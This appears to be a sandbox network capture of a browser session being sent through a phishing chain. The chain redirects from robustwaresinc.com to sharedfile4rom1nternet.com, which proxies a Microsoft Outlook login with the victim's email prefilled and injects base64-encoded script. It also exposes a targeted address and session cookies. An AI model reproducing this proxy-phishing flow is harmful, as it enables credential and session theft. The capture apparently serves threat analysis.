Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:55 UTC	1242	OUT	POST /?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t HTTP/1.1 Host: robustwaresinc.com Connection: keep-alive Content-Length: 859 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://robustwaresinc.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
2024-11-21 13:44:55 UTC	859	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 70 4e 58 78 49 39 79 59 38 4e 64 46 57 69 33 2d 49 69 79 74 2d 49 66 42 7a 75 65 5a 57 2d 43 42 79 68 49 52 78 55 31 6b 39 64 51 71 4c 30 55 75 5f 57 4c 48 52 47 51 71 37 6c 76 47 4b 2d 69 48 6e 50 63 34 57 46 68 6f 63 4a 4f 70 66 39 78 6c 6b 76 6f 71 67 5a 69 38 4d 30 77 6a 30 6d 43 78 73 66 35 4d 50 69 7a 69 62 6e 36 35 6e 35 4a 74 61 5a 69 53 4d 66 59 4b 38 44 67 73 34 31 68 49 72 70 6c 4f 4c 50 46 67 64 49 36 64 31 36 69 45 51 37 44 66 46 54 31 6e 77 67 6f 52 58 69 72 56 38 78 6f 65 4b 32 74 5a 30 39 75 31 47 55 48 5a 34 37 79 35 4e 79 69 6a 49 46 7a 70 7a 52 56 6b 34 51 64 37 63 35 44 76 42 5a 44 74 6f 58 59 4a 56 72 4f 43 30 46 47 4e 43 63 55 43 7a 4d 4c 50 4b 51 37 75 72 34 37 Data Ascii: cf-turnstile-response=0.pNXxI9yY8NdFWi3-Iiyt-IfBzueZW-CByhIRxU1k9dQqL0Uu_WLHRGQq7lvGK-iHnPc4WFhocJOpf9xlkvoqgZi8M0wj0mCxsf5MPizibn65n5JtaZiSMfYK8Dgs41hIrplOLPFgdI6d16iEQ7DfFT1nwgoRXirV8xoeK2tZ09u1GUHZ47y5NyijIFzpzRVk4Qd7c5DvBZDtoXYJVrOC0FGNCcUCzMLPKQ7ur47
2024-11-21 13:44:56 UTC	463	IN	HTTP/1.1 302 Found location: https://sharedfile4rom1nternet.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3NoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tLyIsImRvbWFpbiI6InNoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tIiwia2V5IjoiYVRFZmpzeHZNZ2poIiwicXJjIjoia2VsbHliQGNody1pbmMuY29tIiwiaWF0IjoxNzMyMTk2Njk2LCJleHAiOjE3MzIxOTY4MTZ9.aCrPTx5bOzj8-bu_SfTIwTSI7NHhCBsePbctsJmgBNM Date: Thu, 21 Nov 2024 13:44:56 GMT Connection: close Transfer-Encoding: chunked
2024-11-21 13:44:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49751	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:58 UTC	1049	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3NoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tLyIsImRvbWFpbiI6InNoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tIiwia2V5IjoiYVRFZmpzeHZNZ2poIiwicXJjIjoia2VsbHliQGNody1pbmMuY29tIiwiaWF0IjoxNzMyMTk2Njk2LCJleHAiOjE3MzIxOTY4MTZ9.aCrPTx5bOzj8-bu_SfTIwTSI7NHhCBsePbctsJmgBNM HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://robustwaresinc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:58 UTC	307	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=aTEfjsxvMgjh; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; path=/; samesite=none; secure; httponly location: /?qrc=kellyb%40chw-inc.com Date: Thu, 21 Nov 2024 13:44:58 GMT Connection: close Transfer-Encoding: chunked
2024-11-21 13:44:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49752	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:00 UTC	829	OUT	GET /?qrc=kellyb%40chw-inc.com HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://robustwaresinc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
2024-11-21 13:45:00 UTC	1262	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://sharedfile4rom1nternet.com/owa/?login_hint=kellyb%40chw-inc.com Server: Microsoft-IIS/10.0 request-id: 057a7aea-e944-5412-3071-2a6c2c48f5ce Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: GV2PEPF00003841, GV2PEPF00003841 X-RequestId: 5ce151f4-935c-4abf-920d-a98d9d0e304c Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: GV2PEPF00003841.SWEP280.PROD.OUTLOOK.COM X-FEEFZInfo: GVX MS-CV: 6np6BUTpElQwcSpsLEj1zg.0 X-Powered-By: ASP.NET Date: Thu, 21 Nov 2024 13:45:00 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49753	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:02 UTC	840	OUT	GET /owa/?login_hint=kellyb%40chw-inc.com HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://robustwaresinc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
2024-11-21 13:45:02 UTC	8066	IN	HTTP/1.1 302 Found content-length: 1382 Content-Type: text/html; charset=utf-8 Location: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg== Server: Microsoft-IIS/10.0 request-id: b0951b3f-ba13-4731-cd07-d95d7c2f52fd Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedBETarget: GVYP280MB0763.SWEP280.PROD.OUTLOOK.COM X-BackEndHttpStatus: 302 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; expires=Fri, 21-Nov-2025 13:44:56 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; expires=Fri, 21-Nov-2025 13:44:56 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Wed, 21-May-2025 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.token.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.token.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.id_token.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.code.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.id_token.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.code.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.tokenPostPath=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; expires=Thu, 21-Nov-2024 14:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OptInPrg=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: SuiteServiceProxyKey=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; expires=Fri, 21-Nov-2025 13:44:56 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Wed, 21-May-2025 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.token.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.token.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.id_token.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.code.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.id_token.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.code.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.tokenPostPath=; domain=sharedfile4rom1nternet.com; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; expires=Thu, 21-Nov-2024 14:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OptInPrg=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: SuiteServiceProxyKey=; expires=Mon, 21-Nov-1994 13:44:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; expires=Thu, 21-Nov-2024 19:46:56 GMT; path=/;SameSite=None; secure; HttpOnly X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-BeSku: WCS7 X-OWA-DiagnosticsInfo: 5;0;0; X-BackEnd-Begin: 2024-11-21T13:44:56.394 X-BackEnd-End: 2024-11-21T13:44:56.410 X-DiagInfo: GVYP280MB0763 X-BEServer: GVYP280MB0763 X-UA-Compatible: IE=EmulateIE7 X-ResponseOrigin: OwaAppPool X-Proxy-RoutingCorrectness: 1 NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 302 X-FirstHopCafeEFZ: GVX X-FEProxyInfo: GV2PEPF00003833.SWEP280.PROD.OUTLOOK.COM X-FEEFZInfo: GVX X-FEServer: GV2PEPF00003833 Date: Thu, 21 Nov 2024 13:45:02 GMT Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:02 UTC	1382	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 Data Ascii: <html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49754	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:04 UTC	1961	OUT	GET /?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg== HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://robustwaresinc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg
2024-11-21 13:45:05 UTC	2045	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: deff6daa-69f4-4b4d-8b07-4f633ab31100 x-ms-ests-server: 2.1.19395.9 - SEC ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; domain=sharedfile4rom1nternet.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=Avn7DxbZNW5Duk-Ql76pr3o; expires=Sat, 21-Dec-2024 13:45:04 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; domain=sharedfile4rom1nternet.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 21 Nov 2024 13:45:04 GMT Connection: close content-length: 21377 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:05 UTC	14339	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2
